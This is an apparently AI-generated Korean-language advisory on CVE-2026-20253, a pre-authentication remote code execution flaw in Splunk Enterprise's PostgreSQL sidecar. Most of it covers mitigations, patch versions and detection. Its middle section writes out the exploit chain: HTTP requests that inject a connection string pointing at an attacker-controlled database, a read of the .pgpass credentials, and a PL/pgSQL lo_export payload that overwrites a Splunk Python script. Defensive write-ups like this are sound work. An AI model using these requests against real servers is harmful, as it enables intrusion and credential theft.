취약점 설명
CVE-2026-20253은 Splunk Enterprise의 PostgreSQL Sidecar Service 엔드포인트에 존재하는 심각한 보안 취약점입니다. 이 취약점은 PostgreSQL Sidecar Service 엔드포인트에 인증 컨트롤이 전혀 없어(CWE-306), 네트워크에서 접근 가능한 모든 사용자가 자격증명 없이 파일 작업을 수행할 수 있는 결함을 포함합니다.
초기에는 단순한 임의 파일 생성/절단 취약점으로 보고되었으나, 연구원(watchTowr Labs)에 의해 이 취약점이 사전 인증 원격 코드 실행(Pre-authenticated RCE)으로 연쇄될 수 있음이 밝혀졌습니다.
기술적 세부사항
취약한 컴포넌트
PostgreSQL Sidecar Service는 Splunk 버전 10에서 도입된 사이드카 서비스로, 다음과 같은 HTTP 엔드포인트를 노출합니다:
/v1/postgres/telemetry/v1/postgres/health/v1/postgres/recovery/backup/v1/postgres/recovery/restore/v1/postgres/recovery/status/{id}/v1/postgres/status
취약점 원인
1. 인증 컨트롤 부재
- PostgreSQL Sidecar Service 엔드포인트는 어떤 인증 검증도 수행하지 않음
- Splunk 메인 웹 애플리케이션(port 8000)을 통해 로컬 PostgreSQL API에 요청 프록시 가능
- Authorization 헤더가 있더라도 비어있거나 무시됨
2. 경로 탐색(Path Traversal)
- backupFile 파라미터에 경로 탐색 문자열(../../../) 사용 가능
- 파일시스템의 임의 위치에 파일 생성 가능
3. PostgreSQL 연결 문자열 인젝션
- database 파라미터에 연결 문자열(Connection String) 사용 가능
- PostgreSQL의 연결 문자열 기능을 악용하여 원격 데이터베이스로 연결 가능
- 연결 문자열 파라미터(hostaddr, port, dbname 등)가 하드코딩된 명령행 옵션을 오버라이드
공격 체인 (Exploitation Chain)
watchTowr Labs가 입증한 RCE 공격 체인은 다음과 같습니다:
단계 1: 공격자 제어 데이터베이스 구성
- PostgreSQL 데이터베이스 배포
- 암호 없이 인증 가능한 사용자 생성 (pg_hba.conf 설정)
- lo_export 함수를 호출할 수 있는 충분한 권한 부여
단계 2: 악성 데이터베이스 덤프 생성 (Backup Endpoint 악용)
POST /en-US/splunkd/__raw/v1/postgres/recovery/backup
Host: target-splunk
Content-Type: application/json
Authorization: Basic dGVzdDo=
{
"database": "hostaddr=attacker.db.local dbname=malicious_db",
"backupFile": "/tmp/malicious_dump"
}
- 공격자 제어 데이터베이스의 내용을 Splunk 파일시스템에 덤프
-
pg_dump가 원격 데이터베이스에 연결하여 덤프 파일 생성
단계 3: 로컬 PostgreSQL 인증 (Restore Endpoint 악용)
POST /en-US/splunkd/__raw/v1/postgres/recovery/restore
Host: target-splunk
Content-Type: application/json
Authorization: Basic cG9zdGdyZXNfYWRtaW46
{
"database": "dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass",
"backupFile": "/tmp/malicious_dump"
}
- Splunk의
.pgpass 파일(/opt/splunk/var/packages/data/postgres/.pgpass) 경로 확인- 이 파일에는
postgres_admin 사용자의 암호가 포함됨-
passfile 파라미터를 사용하여 로컬 PostgreSQL 인증 우회
단계 4: 악성 SQL 실행 및 파일 쓰기
- 데이터베이스 덤프 내의 SQL 쿼리가 Splunk PostgreSQL 인스턴스에서 실행
- lo_export 함수를 사용하여 공격자 제어 내용을 파일에 기록
- 예를 들어 Python 스크립트를 덮어쓰기:
CREATE OR REPLACE FUNCTION write_malicious_file()
RETURNS void AS $$
DECLARE
fd integer;
BEGIN
fd := lo_export(lo_import('/tmp/malicious_content'), '/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py');
END;
$$ LANGUAGE plpgsql;
단계 5: 원격 코드 실행
- Splunk가 자주 실행하는 Python 스크립트 덮어쓰기
- 예: /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py
- 스크립트 실행 시 악성 페이로드 실행
- 완전한 시스템 장악 가능
핵심 기술적 요약
| 기술적 요소 | 설명 |
|---|---|
| 취약한 엔드포인트 | /v1/postgres/recovery/backup, /v1/postgres/recovery/restore |
| 인증 우회 | 엔드포인트에 인증 컨트롤이 없음 (CWE-306) |
| 경로 탐색 | backupFile 파라미터의 경로 탐색 취약점 |
| 연결 문자열 인젝션 | database 파라미터의 PostgreSQL 연결 문자열 오버라이드 |
| 자격증명 유출 | .pgpass 파일에 저장된 postgres_admin 암호 노출 |
| RCE 경로 | lo_export 함수를 통한 파일 쓰기 → Python 스크립트 덮어쓰기 → 코드 실행 |
영향 범위
영향을 받는 제품 및 버전
| 제품 | 영향 버전 | 수정 버전 | 비고 |
|---|---|---|---|
| Splunk Enterprise | 10.2.0 ~ 10.2.3 | 10.2.4 이상 | PostgreSQL Sidecar 사용 시 |
| Splunk Enterprise | 10.0.0 ~ 10.0.6 | 10.0.7 이상 | PostgreSQL Sidecar 사용 시 |
| Splunk Enterprise | 10.4.x | 10.4.0 | 영향 없음 |
| Splunk Enterprise | 9.4.x 및 이하 | N/A | 영향 없음 (Sidecar 미도입) |
| Splunk Cloud Platform | N/A | N/A | 영향 없음 (PostgreSQL Sidecar 미사용) |
환경별 영향도
1. Splunk Enterprise on AWS
- 위험도: 매우 높음
- 기본 설치 시 PostgreSQL Sidecar Service가 설치되고 활성화됨
- 인터넷에 노출된 경우 즉시 공격 가능
2. Splunk Enterprise On-Premise (Windows)
- 위험도: 중간
- PostgreSQL Sidecar Service가 기본적으로 설치되지 않거나 비활성화
- 수동으로 활성화된 경우에만 영향
3. Splunk Enterprise On-Premise (Linux)
- 위험도: 중간 ~ 높음
- 배포 방식에 따라 다름
- PostgreSQL Sidecar Service 활성화 여부 확인 필요
취약점 노출 조건
다음 조건이 모두 충족될 경우 시스템이 취약함:
- Splunk Enterprise 버전 10.0.x 또는 10.2.x 사용 중
- PostgreSQL Sidecar Service가 설치되고 활성화됨
- 네트워크에서 PostgreSQL Sidecar Service 엔드포인트 접근 가능
- 직접 접근 또는 Splunk 웹 인터페이스를 통한 프록시
- 인터넷에 노출되거나 내부 네트워크에서 접근 가능한 상태
잠재적 영향
공격자가 성공적으로 취약점을 악용할 경우:
- 임의 파일 생성/삭제: 시스템의 임의 위치에 파일 생성 또는 기존 파일 내용 절단
- 서비스 거부(DoS): 중요한 데이터베이스 파일 삭제로 서비스 중단
- 데이터 노출: 민감한 설정 파일, 로그, 암호 파일 접근
- 권한 상승: Splunk 실행 권한으로 임의 코드 실행
- 네트워크 이동: 내부 네트워크로의 사이드 이동(Lateral Movement)
- 영구적 백도어: 지속적인 액세스를 위한 백도어 설치
- 데이터 파괴: 중요 로그 및 인덱스 데이터 삭제
대응 방안
즉시 조치 (즉시 실행)
1. 패치 적용 (가장 권장)
영향을 받는 버전을 즉시 업그레이드하세요:
- Splunk Enterprise 10.2.x → 10.2.4 이상으로 업그레이드
- Splunk Enterprise 10.0.x → 10.0.7 이상으로 업그레이드
- Splunk Enterprise 10.4.x → 10.4.0 이상 (영향 없음, 최신 버전 유지 권장)
업그레이드 절차:
1. 업그레이드 전 전체 백업 수행
2. 테스트 환경에서 업그레이드 테스트
3. 유지보수 기간 계획 및 사용자 통보
4. Splunk 공식 문서에 따라 업그레이드 진행
5. 업그레이드 후 기능 검증 수행
2. PostgreSQL Sidecar Service 비활성화 (완화 조치)
즉시 패치가 불가능한 경우:
다음 설정을 $SPLUNK_HOME/etc/system/local/server.conf에 추가:
[postgres]
disabled = true
변경 사항 적용:
# Splunk 서비스 재시작
/opt/splunk/bin/splunk restart
⚠️ 중요 경고:
- 이 완화 조치는 Edge Processor, OpAmp, SPL2 데이터 파이프라인을 사용하는 인스턴스에 적용하지 마세요
- PostgreSQL Sidecar Service 비활성화는 이러한 기능을 중단시키고 의존하는 사이드카 프로세스에 영향을 줌
- 코어 검색, 인덱싱, 대시보드 기능은 영향받지 않음
단기 대응 (24-72시간 이내)
1. 네트워크 격리 강화
- 인터넷 노출 차단: Splunk 관리 인터페이스를 인터넷에 직접 노출하지 마세요
- 방화벽 규칙 적용: 관리 포트(8000, 8089 등)에 대한 접근을 신뢰된 IP로만 제한
- VPN/VPN-less 접속: 관리자는 VPN 또는 VPN-less 접속을 통해서만 접근 허용
- 네트워크 세분화: Splunk 인스턴스를 격리된 네트워크 세그먼트에 배치
2. 접근 제어 강화
- 최소 권한 원칙: 관리자 계정 최소화 및 정기적 검토
- MFA 활성화: 관리자 계정에 다중 요소 인증 필수 적용
- 감사 로그: Splunk 감사 로그 활성화 및 정기적 검토
- 세션 타임아웃: 짧은 세션 타임아웃 설정
3. 모니터링 및 탐지
탐지 시그니처 예시 (SPL 쿼리):
index=_internal sourcetype=splunkd
(| uri_path=*postgres/recovery/backup*
OR uri_path=*postgres/recovery/restore*)
| stats count by host, uri_path, status, user
| where count > 0
모니터링 항목:
- /v1/postgres/recovery/backup 및 /v1/postgres/recovery/restore 엔드포인트 접근 시도
- 비정상적인 파일 시스템 활동
- 알 수 없는 프로세스 실행
- 관리자 계정의 비정상적인 로그인
장기 대응 (1주 이내)
1. 보안 하드닝
- Splunk 보안 가이드라인 준수: Secure Splunk Enterprise 참조
- Sidecar 구성 검토: Sidecar Configuration Settings 검토
- 불필요한 서비스 비활성화: 사용하지 않는 사이드카 서비스 및 앱 비활성화
2. 취약점 관리 프로세스 강화
- 정기적 스캔: 취약점 스캐너를 통한 정기적 스캔 수행
- 패치 관리: 자동화된 패치 관리 프로세스 구축
- 버전 관리: 사용 중인 모든 Splunk 버전 및 앱 버전 카탈로그화
3. 인시던트 대응 준비
- 인시던트 대응 플레이북: 이 취약점에 대한 대응 절차 문서화
- 포렌식 준비: 로그 수집 및 보관 정책 검토
- 백업 및 복구: 정기적 백업 및 복구 테스트 수행
위협 레벨별 대응 가이드
| 위협 레벨 | 즉시 대응 (24시간 이내) | 단기 대응 (72시간 이내) | 장기 대응 (1주 이내) |
|---|---|---|---|
| Critical | 1. 패치 적용 완료 2. 인터넷 노출 즉시 차단 3. PostgreSQL Sidecar 비활성화(가능 시) |
1. 네트워크 격리 완료 2. 접근 제어 강화 3. 탐지 시그니처 배포 |
1. 보안 하드닝 완료 2. 취약점 관리 프로세스 강화 3. 인시던트 대응 플레이북 완료 |
| High | 1. 패치 계획 수립 2. PostgreSQL Sidecar 비활성화 3. 네트워크 노출 최소화 |
1. 패치 적용 2. 네트워크 격리 3. 접근 제어 강화 |
1. 보안 하드닝 2. 모니터링 강화 3. 인시던트 대응 준비 |
| Medium | 1. 영향도 평가 완료 2. 패치 일정 계획 3. 노출 범위 확인 |
1. 패치 적용 2. 네트워크 격리 3. 모니터링 구축 |
1. 보안 하드닝 2. 취약점 관리 강화 3. 정책 업데이트 |
| Low | 1. 영향도 평가 2. 패치 계획 3. 노출 확인 |
1. 패치 적용 2. 모니터링 구축 3. 로그 검토 |
1. 보안 정책 업데이트 2. 교육 및 인지 제고 |
현재 위협 레벨: Critical (CVSS 9.8)
검증 및 점검
취약점 확인 절차
1. 버전 확인
# Splunk 버전 확인
/opt/splunk/bin/splunk version
2. PostgreSQL Sidecar Service 상태 확인
# PostgreSQL Sidecar 프로세스 확인
ps aux | grep splunk-postgres
# PostgreSQL Sidecar 포트 확인
ss -tupln | grep -i splunk-postgres
3. .pgpass 파일 존재 확인
# .pgpass 파일 확인
find /opt/splunk -name .pgpass
# .pgpass 파일 내용 확인 (취약점 있을 경우)
cat /opt/splunk/var/packages/data/postgres/.pgpass
4. 취약한 엔드포인트 접근 테스트
⚠️ 주의: 이 테스트는 승인된 환경에서만 수행하세요.
# Backup 엔드포인트 테스트
curl -k -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Basic Og==" \
-d '{"database":"search_metadata","backupFile":"test"}' \
https://splunk-server:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup
패치 확인 절차
1. 버전 확인
# 패치된 버전인지 확인
/opt/splunk/bin/splunk version | grep -E "10\.0\.7|10\.2\.4|10\.4\.0"
2. PostgreSQL Sidecar Service 비활성화 확인
# server.conf 확인
cat /opt/splunk/etc/system/local/server.conf | grep -A 2 "\[postgres\]"
# disabled = true 확인
출처 및 참고자료
공식 자료
- Splunk Security Advisory - SVD-2026-0603
- 발행일: 2026년 6월 10일
-
최종 업데이트: 2026년 6월 15일
-
Splunk Documentation:
- Secure Splunk Enterprise
- Sidecar Configuration Settings
-
NVD CVE Record - CVE-2026-20253
-
MITRE CVE Record - CVE-2026-20253
기술 분석 및 연구
- watchTowr Labs - Why Use App-Level Auth When Every Database Has Auth? (Splunk Enterprise CVE-2026-20253 Pre-Auth RCE)
- 연구원: Piotr Bazydlo, Yordan Ganchev
-
상세한 공격 체인 및 기술적 분석
-
Orca Security - Critical Splunk Enterprise Vulnerabilities Allow Unauthenticated File Operations and Remote Code Execution
-
취약점 개요 및 완화 권고사항
-
The Hacker News - Critical Splunk Enterprise Flaw Lets Attackers Run Code Without Authentication
-
취약점 공개 및 영향 분석
-
NetSPI - Splunk Enterprise Unauthenticated Arbitrary File Operations/RCE (CVE-2026-20253)
- 기술적 개요 및 대응 전략
보안 공급사
- Tenable - CVE-2026-20253
-
CVSS 점수 및 위험 정보
-
Positive Technologies - CVE-2026-20253
- 취약점 분석
부록
A. 관련 CVE
CVE-2026-20253와 함께 공개된 관련 취약점:
- CVE-2026-20251 (CVSS 8.8): Splunk Secure Gateway 앱의 안전하지 않은 역직렬화 취약점
- CVE-2026-20252 (CVSS 7.6): Dashboard Studio의 SSRF 취약점
- CVE-2026-20258 (CVSS 7.1): 클래식 대시보드 HTML 패널의 XSS 취약점
B. 기술 용어
- Sidecar Service: Splunk 10에서 도입된 보조 서비스로, 메인 Splunk 프로세스와 별도로 실행되는 PostgreSQL 데이터베이스 서비스
- Path Traversal: 파일 경로 조작을 통해 시스템의 의도하지 않은 파일에 접근하는 공격 기법
- Connection String Injection: 데이터베이스 연결 문자열에 악성 파라미터를 주입하여 연결 동작을 조작하는 공격 기법
- lo_export: PostgreSQL의 large object export 함수로, BLOB 데이터를 파일 시스템에 저장하는 기능
- Pre-authenticated RCE: 인증 과정을 거치지 않고 원격 코드 실행을 달성하는 공격
C. 공지 템플릿
내부 보안 공지 템플릿:
[긴급] Splunk Enterprise 심각한 취약점(CVE-2026-20253) 패치 요청
개요:
- CVE ID: CVE-2026-20253
- CVSS 점수: 9.8 (Critical)
- 영향 버전: Splunk Enterprise 10.0.0-10.0.6, 10.2.0-10.2.3
- 영향: 인증되지 않은 원격 코드 실행 가능
즉시 조치:
1. 현재 Splunk 버전 확인
2. 영향을 받는 버전인 경우 즉시 패치 적용
- 10.2.x → 10.2.4 이상
- 10.0.x → 10.0.7 이상
3. 패치가 불가능한 경우 PostgreSQL Sidecar Service 비활성화
완료 기한: [날짜]
담당자: [이름/팀]
요약
CVE-2026-20253은 Splunk Enterprise의 PostgreSQL Sidecar Service에 존재하는 인증되지 않은 원격 코드 실행(RCE) 취약점입니다. 이 취약점은 다음과 같은 특징을 가집니다:
- 최대 위험도: CVSS 9.8 (Critical)
- 인증 불필요: 자격증명 없이 공격 가능
- 완전 장악 가능: 성공적 공격 시 시스템 완전 장악 가능
- 폭넓은 영향: Splunk Enterprise 10.0.x 및 10.2.x 버전 영향
- 공격 체인 입증: watchTowr Labs에 의해 실제 RCE 공격 체인 입증됨
즉시 패치 적용이 필수적이며, 패치가 불가능한 경우 PostgreSQL Sidecar Service를 비활성화해야 합니다.
본 콘텐츠는 AI 기술로 생성된 분석 리포트를 포함하고 있습니다. 내용 중 사실과 다르거나 보완이 필요한 정보를 발견하시면 댓글을 통해 소중한 의견 부탁드립니다. 여러분의 피드백은 더 정확한 보안 정보 공유에 큰 도움이 됩니다.
댓글 (0)
댓글을 작성하려면 로그인이 필요합니다.
로그인아직 댓글이 없습니다.
첫 번째 댓글을 작성해보세요!